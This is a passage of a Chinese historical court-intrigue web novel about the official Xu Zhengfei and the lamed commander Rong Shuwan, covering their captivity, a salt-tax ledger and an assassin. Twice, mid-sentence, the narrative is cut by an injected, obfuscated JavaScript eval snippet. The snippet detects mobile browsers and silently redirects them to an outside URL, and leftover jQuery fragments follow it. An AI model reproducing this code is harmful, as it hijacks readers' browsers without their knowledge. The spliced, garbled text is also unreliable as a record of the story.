戎叔晚狐疑道,“才几天,大人倒成了善解人意的可人儿。” 徐正扉没反驳,只是别过脸去,将手中端着的瓷碗搁下:“待会记得将药吃了,再凉就要发苦,更下不去肚了。” 他不与人斗嘴,倒不是为了戎叔晚的伤痛,更不是为了叫人歇养;而只是心中发愧。眼下……戎叔晚还不知道,下狱一事,是他全权设计的。 他故意装作不敌,叫人捉去投敌,再跟君主里应外合,为的是将叛贼一网打尽,同时有了发兵吞下恩邦小国的理由。 若不然,师出无名。 清理后宫张氏并忠义侯势力、打压朝中老臣以便开展革新大业,吞并周边小国图谋天下一统之霸业。君主有恒公之志,徐正扉有圣臣之愿,这君臣二人神交布局,为的就是一箭三雕,哪曾想半路搭进去个戎叔晚。 戎叔晚看他:“大人好不对劲,没得斗嘴的力气了?竟比我还颓丧。” 徐正扉才起身,又被他这句话引住,便站定回身:“戎叔晚,扉有一句话想问你。” 戎叔晚沉默片刻,掀起眼皮来看他,却不说行是不行。 徐正扉问:“你当日,明知姓王的设了陷阱,为何还要去救我?” 为什么?…… 戎叔晚沉默,似乎被问住了,竟一时不知该如何回答。 那不过戎叔晚废这条腿两个月前的事儿。 当初,二人定下良策,趁王氏东驻、州府空虚之时,戎叔晚带兵扑进,迅速接管各地的散兵并淮安各处权力枢纽、各级衙署,若有不从,尽数诛杀。至奸细丁充缴首之日,仅仅十天,便完成了彻底的权力交接。 戎叔晚一时风光无两,座上蟒衣、胯驭宝驹,一袭黑色戎袍勒紧腰胯,手握锋锐指虎金刀,分明有震慑一州之权柄气派。 徐正扉赞道,“军督使如今威武,掌握一州之实,万不可再逞匹夫之勇,凡事当三思而后行,明日扉即启行出发,三日后到达盐城谈判,此之后,但有定夺不决,可修书君主,另外,谢将军已整备军队,不日应与你会合。” “这般交代遗言不成?”戎叔晚嗤笑,“大人素日惜命,想必不会只身犯险。” 徐正扉难得露出落寞神色,“军督使哪里知道扉的苦楚,父亲大人如今入狱,兄长又在君主眼前任职,你倒说说,这等送命的差事,扉还能拒绝不成?为君主解忧,实为宿命。” 戎叔晚狐疑看他,总觉得哪里不对。 徐正扉叹息一声,勉强笑道,“罢了,不提这等伤心事,我与军督使最后再畅饮一番吧!” 那酒水滋味儿浓稠,戎叔晚却分明觉得寡淡,以他之心眼计谋,难道就真没得选择不成?再者——君主之圣明,留他定有大用处,恐怕不会让他去送命。 徐正扉醉眼朦胧,拿袖子拂拭眼角,幽幽叹息。 戎叔晚端着酒杯的手顿在原处,“你……哭什么……?” “感慨宿命如此,扉心中悲切啊!还不等功成名就,成一番大业,就要羊入虎口,任他人刀俎了,悲情之甚,落泪几何,难道有什么错处吗?” “大不了殒命于此地,也算全了名声,我听闻士子风流,向来以‘风骨’二字为先。” “扉岂是那等迂腐之流,”徐正扉幽怨道,“仲修之愿,当有太平岁月,四海笙歌。再说,我还未曾娶妻生子、儿孙绕膝,就短命去了,好不叫人伤感啊!” “……”戎叔晚无语,“那……” 徐正扉抬眼盯着他,那含了水光的双目如潋滟春色。 “不然……”戎叔晚试探道,“我携一骑兵甲护送你前去,若有节外生枝,也好照应。” “当真?” “当真。”戎叔晚将杯中酒一饮而尽,小声嘟囔着起身去了,“真是……麻烦。” 徐正扉盯着人的背影,轻笑一声,“啧,这……蠢物。” 原以为只是送行,可送行之后,戎叔晚却改了主意,为了那双真假难辨的泪眼,留在敌营外头徘徊不去,只等着谈判之后再将人安全带回。 “军督使,我们在营外等待了两个时辰了,为何还不见徐大人出来?” “不会是双方谈不拢,抓了大人吧。” “未必呢,不是说‘双方交战、不斩来使’吗?” 戎叔晚握着马绳,目光紧盯着那营帐入口处,冷笑道,“连我的人也扣下不放,定要他好看。” 这威风气势不过片刻,营内便差人来传,“徐大人还有要事停留几日,想必不能同行了,军督使请回罢。” “何等要事停留?”戎叔晚勒马向前行了几步,马蹄不安敲着地面。 “小的不知,军督使请止步。”那兵士横刀拦住人,“再往前,休怪小的不客气了。” “王为河好大的狗胆,竟敢扣押朝廷命官,”戎叔晚冷眼看他,“若他识相,就速速放了人,免得今日平白杀戮。” 兵士不屑地哼了一声,“军督使未免过于自信,你不过一骑兵士,何敢出此狂言?” 戎叔晚双目冷湛,手指间的刀刃在余晖的映射下泛着金光,他逆转身子,即要动作,忽闻人声喊道,“军督使且慢!” 戎叔晚瞧着鼻青脸肿让人五花大绑揪到面前的徐正扉,不由得愣了,“怎的这副惨样?” 王为河倒是亲自出来见他,两个兵士架着徐正扉,刀刃横在脖子前,自顾自冷笑着,“王某知道军督使的身手功夫了得,但今日,恐怕不能如愿。这一来二往,君主既派你二人来,想必也没甚可谈拢的——君主既不想谈,就休怪王某不客气了。” 戎叔晚吹了吹刀刃,笑道,“看来,王大人还是学不会听话啊?” 王为河笑道,“军督使不必激怒与我,就算你杀了王某,今日这兵甲三万也不会放过徐大人,纵使军督使有三头六臂,也逃不出这营帐十里。你若只图自己杀得畅快,便尽可动手。” 徐正扉脖颈上的刀刃又紧了几分,鲜血流下两颗粒子来,疼的他呲牙咧嘴,颇显狼狈,“呀呀呀——你怎么拿刀的,小心点,疼……哎——疼疼!扉甚文弱,你不要如此粗暴!” 戎叔晚无语,瞧着他,哼一声,“你抓了他又能如何?” 王为河摊牌笑道,“当然是跟君主谈判,再者尽数出了我胸口恶气。军督使不必着急,若不是今日王某不想血流成河,难保不是去捉你。” “你老实儿回转,他还能多活几日,你若是想强行救下,王某便让他死在你眼前儿。”王为河笑道,“到那时,你们一个也跑不了。” 戎叔晚拱拱手,嗬笑了一声,“徐仲修,今日不是我不救你,看来,确是天命如此。” 徐正扉热泪横流,叹道,“虽不能及,扉仍谢过军督使了。” “请大人保重。”戎叔晚看他一眼,利落扬绳,御马回转绝尘而去了;那余下一骑兵士也都拱手示礼,随行而远去了。 王为河揪起人的领子来,“到底是冷心冷眼的狗东西,岂能真的救你,不过是做戏,回去好复命罢了。” 徐正扉委屈巴巴,“王大人骂他,为何要这般揪着我,扉与他不过是同僚一场,又无何等过甚的交情,此也正常。” 王为河冷哼一声,吩咐道,“把他关起来,派人守好,布下重重陷阱,以防有人来救。” 徐正扉自嘲起来,因为脸颊肿着,说话含糊不清,“都说了我二人萍水之交,他决无可能来救,王大人可真会说笑。” 王为河不予理会,目送他被人强行拖走了。 余下几日,果然如徐正扉所料,风平浪静。王为河又加紧演军,与恩邦的泗平侯一拍即合,双方勾兑了利益往来,这三万军甲不日开进恩邦,俯首称臣,存续实力,静待时机。 推入恩邦前夜,寅时,风火大起。 强兵悍将突袭而来,一时间厮杀声烈焰声霹雳响起。 血肉横飞,如泥般践踏。 徐正扉瞧着面前朝他走来的人,此刻完全杀红了眼,那一张脸上全是纵横的血迹,靴子底一步一个血脚印,粘着地面扯出丝儿来。 “大人,走罢。” 徐正扉晃了晃手上三指粗的锁链,神色颇无奈,“这遭恐怕……难逃脱了。军督使不必管我,先去——” 他话音未落,一群人已经举着刀剑包围过来。 辰时,王氏携八千残兵急退,用锁链在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519530|186265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐正扉身上缠了三圈,裹在马背上,逃窜出盐镇,入恩邦境内。 戎叔晚以一人之力,诛杀近百,一路追击上去,却让恩邦接应一众,绊了马蹄,落了铁笼、绑了铁链,跟徐正扉一遭丢进恩邦牢里了。 戎叔晚眯眼盯着自个儿身上的三条锁链,冷笑道,“倒是看得起我。” “谁敢小瞧军督使。”徐正扉神色复杂,“你分明有善后的本领,何苦追上来,这下倒好,你我成了狱友。” “是我轻敌,方落入这般陷阱。” “军督使不必谦虚,这决计不是因你轻敌。”徐正扉苦笑,“你一人屠戮他兵甲无数,仍能追击数十里,本有先机。然而,此地界陌生,且有恩邦先伏,难以预料,实在正常。只不过,扉未曾想到,军督使为救我而来,竟大义至此。” 戎叔晚嗤笑,“好歹你我相伴一场,大人又教我读书写字,我戎叔晚虽是个卑贱之人,却也识得衔环结草、有恩必报之礼。” * 此刻,见他迟迟不说话,徐正扉便道:“算了,我不过随口一问,你也不必……” 戎叔晚掀起略带浮肿的眼皮来,轻嗤笑着,同那时一样。他答道:“好歹你我相伴一场。主子叫我保护大人安全,大人有难,我纵是不想去,也必须得去。如若不然,大人有个好歹,君主倒要寻我的罪过了。” 听了这话,徐正扉好似松了口气:“那就好。” “什么叫那就好?” 顿了片刻,戎叔晚又缓缓躺靠回去,视线无意掠过腿边,口气反倒更轻松了些:“大人以为的是什么?早先在狱中,不过已经说过了吗?我跟大人,同僚一场——念在大人教我读书识字,也该知恩图报。” 那身水青的襟袍被窗口的风灌进来、带起一角,轻轻飘在官靴旁。徐正扉如释重负似的,轻轻从嗓子里挤出一口气。他没有再谈此事,而是说道:“等你养息得好些,就起来走走,我叫仆子将拐杖拿给你。” 戎叔晚点头。 早先在淮安官署,徐正扉落脚怕人寻仇,便叫戎叔晚给他守夜,这家伙也不恼,顶着清晨曦光哼笑着问他昨夜睡得好不好。他在衙署里批阅公文,这家伙就挨着窗檐、坐在院里打磨爪勾和匕首。 那匕首举起来,映射的银光就落在徐正扉眼皮上。 他笑骂:“莽夫。” 如今,他仍坐在衙署里瞧公文;戎叔晚却只能拄着拐杖,在院里沉默地走。那根重色青木的拐杖敲在地上,“咚、咚、咚”的乱响——徐正扉闻声,便搁下笔,扶着窗看他:“好些了?” 戎叔晚站定,“不趁手。” “什么?”徐正扉愣了下,才反应过来:“你说拐杖?——我照着你的身量选的。” 戎叔晚也不回话,只敲了敲拐杖,便撑着朝前走了两步。他慢腾腾地靠在窗边,戏谑地抬眼,“这几日,听说大人又开始收缴账簿子了?大人也忒心急,我这样一条腿,别人来寻仇,可跑不快。” 徐正扉被人噎住,先是哼笑,而后睨了他一眼:“岂不是正好?留你在这里,扉好逃命。” 戎叔晚拿指头摩挲袖边,低笑:“冤有头,债有主。何苦找到我这儿来?原先那些,不都是给大人做的脏活么?大人贪生怕死,倒是没变。” 徐正扉笑着眯起眼来,朝外头看了两眼:日光罩在叶片上,鱼鳞似的闪着银辉。那些隐没在光辉之下的阴影处,便是戎叔晚原来常坐的地方。 他呵呵一笑:“哎——这话好笑,可不干扉的事儿,咱们呀,都是为了主子。你这马奴,本就臭名昭著,万万别算在我头上。” 戎叔晚抬眼:“才说大人这几个月宽和,就露了本性。” “瞧你精神头这样足,还能与我拌嘴,想必身子该好了。” 徐正扉撇嘴:“三个月了,少要躺在那里偷懒,快些养息起来,出门奔波。” 戎叔晚:…… “还瘸着呢。” 徐正扉伸手,隔着那扇窗,将拐杖捞进来:“走两步看一看,别是吓唬人的。”不等戎叔晚反驳,徐正扉就笑话他:“这要是将军,恐怕早就能翻身上马了。” 前些日子的关心荡然无存,瞧他活蹦乱跳的,徐正扉连那点愧意也抛去了,分明起了戏弄人的心思。 戎叔晚无语,缓缓朝前走了一步,仿佛脚才落地,膝盖就涌上剧痛来,他表情痛苦,并不敢用力似的,只得踉跄。本想伸手抓人,却愣是薅脱了徐正扉的袖子。 “噗通”一声。 “……” “哈哈哈哈哈……戎叔晚,你也有今天。”徐正扉放肆笑起来,晃了晃手里的拐杖:“我说军督使,恁的不小心呢。” 戎叔晚坐在地上,冷笑:“起不来。” 徐正扉眉眼弯起来,狡黠朝他拱手:“何如?” ——戎叔晚气笑了,磨牙道:“小的恳求大人,紧些过来,搭把手。” 徐正扉这才笑眯眯地走出去。他靠近,弯腰下去,将戎叔晚的手臂搭在肩膀上。哪知道,他刚要预备将人“扛”起来,戎叔晚这歹贼就猛地用力,将他拽倒在地,漂亮官服生生滚出一圈泥尘。 戎叔晚将人摁倒在地上,冷笑:“我说大人,这么轻敌可不好。” 徐正扉两手薅他袖子,却是纹丝不动,他憋得脸都红了:“你这莽夫,撒手。扉好心帮你,竟是恩将仇报……”那话音越来越小,突然,徐正扉嘿嘿一笑,改了口道:“军督使大人不记扉之过,还请放我一马。” 戎叔晚勾了勾嘴角,终于松开他。 徐正扉原以为他见好就收,是要开口求人扶他起来,谁知戎叔晚只轻巧施力,便自己站起了身,那动作利落,哪像真的摔倒的样子。 徐正扉竖眉,后知后觉:“你这狗贼骗我。” 戎叔晚一瘸一拐往外走,摆摆手:“都说大人轻敌了。” 徐正扉站起身来,一面拂着袍衣上的尘土,一面朝他背影看过去:“哎——你伤好利索了?做什么去?” 那背影仍旧孤寂,如往日般沉默而宽阔,戎叔晚头都没回——“不是说,还有个账簿子没讨来么。还能做什么?我给大人,做脏活去。” 5. 005 柳梢青 徐正扉知道他有手段。 早先在淮安革新人丁赋税,一众地头蛇避而不见,好说歹说都不肯清算,直接叫他吃闭门羹;戎叔晚便干脆一把火将高门贵府烧了,吓得贵老爷连滚带爬的往外跑,到底认了怂。 满淮安的富贵人家,一个没落下。 再有官署各级不配合,他便将带头挑唆的捉去藏起来,给门口挂了别处寻来的无头尸身,吓得官员们魂不附体,纷纷弃暗投明,再不敢给徐正扉一点脸子看。 总之,没有他治不了的恶人。所以徐正扉心中踏实,知道他去寻账簿子,保准也万无一失。可没想到,这一等,就等到天黑。 徐正扉站在厅中,问仆子:“什么时辰了?军督使还不曾回来?” 仆子小跑去看,又回禀说:“大人,已经酉时了。军督使骑马出的门,眼下,衙外仍是空的,不曾回来。” 徐正扉细思量了一会儿,心道不应该啊,“你抓紧遣两个机灵的,到城西赵大人那儿去看看。” 仆子应了声“是”,正要转身朝外走,门外就嘈杂一片碎响。 “吁——” “军督使回来了?大人正等您呢。” 戎叔晚翻身下马,却不急着进门,仿佛刻意放缓脚步。 他瘸着腿,扬声道:“实在身子没好利索,走两步,竟是一身的冷汗。大人等急了吧——喏,城东买了只兔子,给大人下酒。” 徐正扉眼珠一沉,旋即露出笑来,接上那话:“说你是个残废的——竟这样不中用,叫你去城西,你偏往城东去。正事儿不见着落,倒惦记着下酒菜。” 戎叔晚进门,将兔子递到仆子手里,越过徐正扉径直朝里走,擦过肩膀时,却低笑了一声。他回身坐下,神色玩味儿:“好心给大人捉了只野兔子吃,怎么骂起来人了?” 徐正扉眨了眨眼,意有所指:“哦?” 戎叔晚勾唇,从怀里掏出账簿来往桌案上一放:“这可是好东西——拿回来了。大人怎么谢我?” “别是管着油盐酱醋的账本子才好。”徐正扉挨着人坐下,捋着袖口笑,“也亏你才做点正经事儿,倒要起谢礼来了。” 说罢,他伸手去拿,却叫人抢先一步抬手摁住了。戎叔晚二指点在账簿上,冷笑:“还打了兔子呢。” 他补充:“瘸着腿。” 徐正扉一时语塞。片刻后,这位冤枉道:“岂是扉叫你去的?方才,军督使不是说城东买来的么。” 戎叔晚从腰间阔兽的腹吞缝儿里摸出来一枚铜板,穷酸道:“本是想买,可惜老板不卖。” “……” 徐正扉惊讶:“耽搁这么久,竟真是去猎兔子了?” “那倒也不是,他不卖,我便抢了只来。” 徐正扉嗤嗤地笑,啐他:“忒的无耻。” 戎叔晚笑而不语。 徐正扉斜睨了他一眼,到底拨开人的手指,得了空去翻账簿子。他一面看,一面道:“若是拿到好东西,我自然好好地谢你,别说兔子了,就是要金山银山,我也去跟主子讨。” 听见这话,戎叔晚忽然沉了口气,斜着身子往人跟前靠了两分,语气微妙:“说起这个,当日,主子到底为何拿钟离启换咱们二人?岂不奇罕?” 徐正扉装傻:“这我便不知道了。” ——“哼。凭着你这样聪慧,还能不知道?” 徐正扉回过脸来,微微睁大眼睛:“好冤枉,我又不是主子肚里的蛔虫,我上哪里知道去?怎么不说你这条‘好狗’,也不知道主子想什么?” 戎叔晚:…… 他就多嘴! 没捉到猫腻,还叫人白骂了两句。 “算了,大人不愿意说,我便也不问。待回去复命,总有明白的一日。” 徐正扉手指一紧,捏住纸页愣是没吭声。他算准了前因后果,算透了人心贪欲,却唯独没算到那冷血的马奴来救他…… 他心虚,却佯作平静地抬脸看他。 “作甚?” 徐正扉轻哼:“你老打听这等事儿做什么?主子自有盘算,不能咱们能揣测的。你只需知道,你卧榻养病这些时日,是扉衣不解带的伺候你,他日,可不要恩将仇报。” “大人伺候我?——” 徐正扉大言不惭:“正是。” 戎叔晚气笑了,点着头道:“好,好,大人这样体贴,在下无以为报。日后,换我——‘伺候大人’可好?” 徐正扉登时脸辣。 那瞬间,五味杂陈。 被关在恩邦敌国牢里的记忆,不受控制地涌上心头: 那夜里,戎叔晚抱胸靠在墙边,闭目休息,旁边的人翻来覆去、左右不适,那窸窣的动静惹得人耳朵烦闷。 “大人身上长虱子了吗?”戎叔晚仍闭着眼,“翻来覆去做什么?” 那张简陋的床上,来回辗转的徐正扉终于坐起身子来,叹了口气,“这床板真硬,我竟有些睡不着,浑身都是伤,疼得很。” 戎叔晚闻声睁开眼来,上下打量一番,见他这几日面皮上的伤已经消肿,只剩了些淤青,手腕两道红痕,因磨得久了,有些破皮,那身子似乎又瘦了几分,心下不由得想到,果然是个娇气的贵公子。 徐正扉皱起眉来,扬了扬下巴,直呼大名,“啧,戎叔晚,你这是什么表情?” 戎叔晚起身,朝他走去,在人往后躲了躲的姿态里,扯了自己的袍子一角,又去拉他手腕,那袍角撕开的一绺布条,在他腕子间轻轻缠了几圈,又打了个结。 徐正扉愣神,见他迟疑了一瞬,又拆开重新打了个蝴蝶结。 等另一只手腕也包扎仔细,戎叔晚才抬眼看他,笑得颇玩味儿,“这下大人舒适些了吧?小的没别的本事,就是惯会伺候那些娇生惯养的公子哥儿。” 徐正扉抿唇,强作镇定轻踢了他一脚,“嗯,伺候得不错,等我出去,定好好赏你。” ——思绪乱滚。 ——还没等他想好怎么回答,戎叔晚倒先开口了。 这马奴哪壶不开提哪壶,讥笑挑眉:“当时,在牢里,大人不是说我伺候得不错,等出来,好好地赏我吗?怎么——都不记得了?” 徐正扉轻咳一声:“你、你说你这人!玩笑话嘛,何苦当真。扉不敢再造次,还请军督使莫要拿人话柄。扉今日备点好酒招待你便是了。” 戎叔晚笑:“那就……恭敬不如从命了。” 戌正,佳肴具备,酒过三巡。 徐正扉饮了杯酒,反替他布菜:“方才我细看了看,还真瞧出一点端倪。要不说,军督使大人审慎入微呢。” “嗯?”戎叔晚警惕地眯起眼来:“大人想做什么?——又要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519531|186265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿我当诱饵。” “那怎么会!”徐正扉正色笑道:“扉岂是这等人?” 戎叔晚:…… 那表情古怪,就差说“是”字了! “我是想问问,大人身子到底好透了没?”那筷子尖顿住,徐正扉声息渐渐低沉下去,仍旧显得清润:“眼瞧着入了秋,快要有场寒雨呢。” 戎叔晚盯住人:“想动手?——可这档子事儿不归咱们管吧?” “哎,这叫什么话。天要下雨,娘要嫁人,哪是咱们能管得了的……只是,上头有圣主子,老天管不了的事儿,他倒要管一管了。”徐正扉低声道:“我知道他愁什么,西关的军费银子,打发商贾叫花子的铜板,若叫他知道了,这一处的账本子这样肥……你猜,他会做什么?” 戎叔晚侧耳,先是扫了一眼,而后提高了三分音量:“哦?那大人是查出端倪,要回禀上城了?” 徐正扉先是吓了一跳:“你这么大声做什么……” 那话没说完,伸出去要捂嘴的手还没摸到人,戎叔晚就猛地抬手,“歘”的从袖子里飞出什么东西去。徐正扉愣住,眼见他飞似的轻巧点地破窗而出,带倒了桌上的酒壶。 潺潺酒液往外淌着,噼里啪啦全是碎响…… 还不等反应过来什么事儿,徐正扉又听“啊”的一声惨叫!与此同时,“嗖”的一声,箭矢擦脸而过,狠射在桌案上,扎透了木板三寸,箭尾被震荡的发出细细铮鸣。 只听声音,就知外头那打斗激烈。 好在戎叔晚身手利落,极快便将人制服了。这马奴拿腕粗的绳索将“不速之客”捆住,又卸了下巴防止他咬舌自尽,再叫人将他押下去盯紧、日夜不眠地守着,方才坐回到桌上。 杯盘狼藉。 徐正扉傻眼:…… 他脸颊刺痛,抬手一抹,蹭了点细密血丝。 戎叔晚想关心一句,才张开嘴,还不等说出话来,徐正扉就眉尖一蹙,朝他笑骂道:“好你个马奴,你这奸贼!竟拿我当诱饵,我就说今儿好心请我吃兔子呢。” “方才看大人配合,还以为大人心知肚明。毕竟——大人演技可是一流的。”戎叔晚反应了一下,迅速找到重点:“难道方才说的猫腻,不是大人编出来,与我一同演戏的?” 徐正扉微怔,而后沉重点头:“真有。” “什么?” “盐税。” 两人对视一眼,明白这事儿非同寻常,一时都没说出话来。 灯影摇晃,昏暗中院里的竹林打叶,被风吹的瑟瑟作响。袍衣微动,发丝轻拂。在那狼藉之中,偏偏徐正扉脸上那抹血丝,被手蹭的晕染一小片,好似贴了绯色胭脂一般,再染上酒意,显得分外动人。 于是,戎叔晚看了他一眼,极快地,又挪开视线。 徐正扉扬了扬下巴,误解道:“军督使拿人作诱饵,自个儿也知道心虚?” 戎叔晚拱手,面不改色回道:“为了大业,你忍忍。” “我忍忍?!”徐正扉薄怒瞪他,表情一动就扯的脸也痛,便只好嘶着气儿站起来:“你怎么不忍忍!扉这青春年纪,正是姿貌风流,若是破了相,可怎么是好?” 戎叔晚歪头看了一眼:“那大人的意思是?……” “若是破了相,你可得——” “赔大人一辈子?” 6. 006 琦罗香 徐正扉都震惊了,他从未见过这么无耻的人:“你?赔我?——笑话。” 戎叔晚垂下眼皮儿,轻笑出声来:“大人知道我赔不起,就心胸豁达些。咱们二人,化干戈为玉帛。” 说完,戎叔晚叫仆子端了药匣进来,“念在我没跟大人提前打招呼的份儿上,这伤怨我,我给大人上药,再伺候您。” 徐正扉轻哼笑一声:“算你识抬举。” 他歪着脸,手肘撑在桌上,端着那本账簿细看。戎叔晚就半跪在人跟前,捻着药粉替他搽伤口……那眉蹙起来,仿佛看不真切似的,又往前凑了凑。 徐正扉忽然停住,“唉……” 戎叔晚生怕他找茬儿,忙道:“作甚?大人的伤定留不下痕迹,不要唉声叹气了。” 徐正扉道:“不是为这个,而是你方才提醒了我。这事儿,确实不归咱们管。主子已经来了一道旨,再过半月,咱们就回上城复命。至于盐税之事嘛……” 戎叔晚敏锐:“有你拿不住的人?” 徐正扉低头看他一眼,那神色好笑:“怨不得旁人都说,大人是条好狗,惯会揣摩圣意。原是连扉的心思都猜出来了。” 戎叔晚:…… “大人最好不是借‘旁人’之口,说你自己心中所想。”戎叔晚道:“那对方派来的刺客呢?大人什么打算?” 徐正扉微顿:“放了。” 两人对上视线,大眼瞪小眼沉默了两秒。 戎叔晚道:“我才捉来的,你竟这么放了?纵然咱们今日不动手,押回去给主子定夺也好。” 徐正扉“啧”了一声:“蠢货。” 戎叔晚挨他骂习惯了,并不恼,只笑道:“还请大人指点。” 徐正扉这才施施然搁下账簿子,俯身朝他靠近,那笑意贴在人耳边:“我爹是什么人?我爹是当朝二品大员,主管各国往来。我是什么人?我是咱们主子的心腹之臣。我长兄又是谁?那是君主的起居官,每日伴着主子逗闷儿的。” 戎叔晚无语:? 徐正扉见他不解,只嗤笑道,“说你蠢货,你还不认。我徐家都惹不得的人,你以为,君主就不棘手?……你将人带回去,平白叫他为难。若是不动手,君威何在?可若是斩草除根,内忧外患,一时倒抓不住根本。再者,叛贼钟离启、张氏等势力还未就地正法,朝中不知多少眼线,四下盯着不说,将军又领兵去打恩邦了。” “这个节骨眼上,任何风吹草动,都影响万千性命。故而,无关要紧的银钱之事,往后搁一阵子也不打紧。”徐正扉道:“不过……我也不妨告诉你是谁。” 戎叔晚拧过脸来:“谁?” “尹同甫。” 戎叔晚一惊:“竟是他?你可有证据?” “你也知道,这尹同甫乃是太子伴读、东宫十六子之一,当年入宫辅助主子直至登基。先不说尹家在朝中的作为,且说就他这个人,君主还未必舍得杀呢。” “他不是才……” “牵丝扳藤,我只说一个他。”徐正扉幽幽笑叹:“未必没有别人。上城高门大户,哪家是好得罪的。我徐家保得了我,你以为……谁能保得了你吗?” 戎叔晚愣了一下,那笑从脸上挤出来,不知是真谢还是嘲讽:“那我还得谢谢大人了。” 徐正扉坦然接受:“嗯哼。” 戎叔晚都气笑了:“大人也不是为了我。说白了,还是贪生怕死,不敢跟人作对——我可不管哪家高门大户,只要妨碍主子的,我都要……” “嘘。”徐正扉捂住他的嘴:“少吹嘘了,你算什么?不说别的,只说你现在还欠我个人情,抓紧将这账簿子誊写一份。” 戎叔晚挪开他的手,道:“我写字……大人知道的。只怕我敢写,日后你却认不出来。” 徐正扉好笑:“我竟忘了这一茬儿了。算了。此事机要,我谁也信不过,我自己来誊,你替我研墨。” 戎叔晚点了点头。 夜灯烧到天明…… 摇曳的光跳动在徐正扉的发丝之间,那双韧而漂亮的手,分明没什么力气,就连打人巴掌都不疼,也不知怎么写出这样好的字来。 戎叔晚抱胸看着,轻轻勾了勾嘴角。 再看自己这双手,分明杀人如麻,单手就能掐断敌人脖子,却握不住笔……歪歪扭扭,怎么也写不对。 晨曦的光线打进来,天光大明,他就这么抄了一夜。 戎叔晚转过脸去,再度看他。 徐正扉神情平静、镇定,瘦削而不柔弱的肌骨,挑起那清高气度来;皮肤白皙的仿佛一块玉,那双眼睛流波轻转,风流动人,却总含着雾气似的,猜不透摸不清。他只将视线扫过那些密密麻麻的数字,略细品三分,就能敏锐捕捉到端倪。 戎叔晚想,这人实在聪明过了头,连君主都宠着,才养成这等品性:狂奍清高,恃才傲物。 ——他第一次见这人的时候,是在相府二公子房允的生辰宴上。当时的君主还是太子,看中了他做的弓弩等物,宣他进宫,去千机苑当差。 那年徐正扉才十六。 他少年老成的背着手,寻着机会与他闲话家常,给他提点宫中盘根错节的势力。 听他这样说,戎叔晚便压下心中的惶恐和震惊,悄不作声地盯着人看:唇红齿白,脸蛋上的婴儿肥仿佛才消褪,自是高门公子的矜贵气派。 ——后来进了宫,戎叔晚才知道:这个君主口中的“徐二”,便是大名鼎鼎的“徐郎”。 他自幼便身负神童之名。五岁成诗、七岁成文,九岁面圣竟已口出狂言、针砭时弊。十一岁便摸透朝中局势,暗自接近二皇子钟离启,后来发觉此人不堪重用,撂下一句“竖子不足与谋”,便转投太子。 ——戎叔晚与他再见,是第二年的春猎。徐正扉这个连弓箭都拉不开的人,故意哄骗他组队,为的是设计激怒钟离启来闹事。 那时候,戎叔晚还是个小小校使,不敢跟对方动手:挨骂就听着,挨打就受着,对方踩烂了肉泥叫他吃,他也捡起来咽下去说“谢过二殿下赏赐”。 可徐正扉就不一样了。 这小子诡计多端,故意挨了一鞭后,竟不呼痛,反而冷笑一声,径直跑出去,扑倒在君王帘幕外号啕大哭,只把幕帘里的一众大臣惊住了,“何人如何失礼?” 这日,徐正扉自手臂上蘸了血迹,往鼻脸上胡乱抹去,又混着眼泪哭的一塌糊涂,身如筛抖,气喘不匀,只一昧告罪,求皇帝赏个痛快,不如干脆把自己打死得了。 这钟离启好不容易挽回的信誉,可谓片刻之间,烟消云散,声名狼藉。原本责罚小官、动手打了人,私下便也过去了,哪有臣子敢兴师问罪? 徐正扉可不管这个,他只哭得泪人儿般,又是个凌厉嘴儿。 那徐正扉之父徐智渊,一手辖管政司府,掌握各国外交、往来贸易、进贡献礼诸事,惯常知分寸,四海诸国交往算是平顺,决不是个平白可糊弄的人儿。 眼下,群臣毕至,皇帝丢人跌份,只恨得后牙根儿发痒,直接唤人将那钟离启五花大绑,吊在猎旗柱上,劈头朝他甩了三鞭,直打得皮开肉绽。 十七岁的徐正扉含着笑意,站在远处眯眼看着,又与戎叔晚对视一眼,颇正经地点评道,“想不到圣上虽年近不惑,却也气力正盛。老子打儿子,果然天经地义。” 戎叔晚舌尖仍品着一粒沙子,冷笑道,“这肉泥味道不错,感谢公子今日招待。” 徐正扉听得话中深意,挑眉看他,“戎校使此言差矣,今日扉也受了‘重伤’。再说了,扉是文人,你乃武夫,身子骨结实,多抗几下实在正常不过。” “本是无妄之灾,你偏生挑衅与他,恐怕公子早便料到此番,故施计设了个局罢了。”戎叔晚说着,忽觉不太对劲儿,一时反应过来道,“原来如此,公子唤我助你之时,便正有此意!竟是个局中局。” 徐正扉正了正衣襟,轻咳一声,“我乃君子,戎校使莫要平白诬陷于人。” 戎叔晚盯着他悠哉远去的背影,抿了薄唇,自气笑了。但从那时起,他就知道了:徐正扉跟旁人不一样,王孙贵族谁也惹他不得。 ——再如今,徐正扉廿四,盛名在外。世人传“天下八分,当有徐郎一分”。戎叔晚想,贵公子才华卓越,就当如房津那等,谦和有礼,越是风口浪尖,越该谨言慎行知进退。 按理说,年岁渐大,也该收敛锋芒、行事低调些。 可徐正扉偏偏不! 就在九个月前,为了淮安革新之事,这小子还在大闹朝堂。 原是年关新朝,为了给君主攒银子,徐正扉抢作出头鸟:“臣可解国库之难题!开放经济往来,和邻国边打仗边做生意,再收缴商贾编入商社,此其一。收海盐与锻造统一衙署管理,和天下人做买卖,此其二。” “改田地赋税,按亩数实计,三千以上收归朝廷所有,再拨付耕民,与朝廷二分;改人口赋税,按主仆实计,尽数 